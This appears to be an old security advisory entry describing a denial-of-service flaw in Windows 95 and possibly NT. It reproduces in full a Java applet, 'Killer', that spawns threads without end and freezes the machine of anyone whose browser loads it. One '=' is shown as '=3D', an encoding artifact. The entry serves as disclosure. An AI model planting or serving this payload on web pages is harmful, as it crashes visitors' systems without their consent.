COMMAND

    java

SYSTEMS AFFECTED

    Win95, NT(?)

PROBLEM

    Michal Zalewski posted following  applet he wrote few  months ago.
    It freezes Win95 in a second (may be viewed under any Java-capable
    www browser), probably also crashes  WinNT. Unix seems to be  more
    stable.   There's probably  no way  to patch  it under w95 (except
    rewriting whole code responsible for so-called 'multitasking'  and
    'multithrading').

    Applet source:

    // (c) lcamtuf '97
  
    import java.io.InputStream;
    import java.applet.Applet;
    import java.awt.*;
    import java.net.*;

    public class Killer extends java.applet.Applet implements Runnable {
      Thread me;
      public void start() {
        while (true) {
          me=3Dnew Thread(this);
          me.start();
        }
      }
      public void run() { start(); }
      public void stop() {}
      public void init() {}
    }

SOLUTION

    No solution.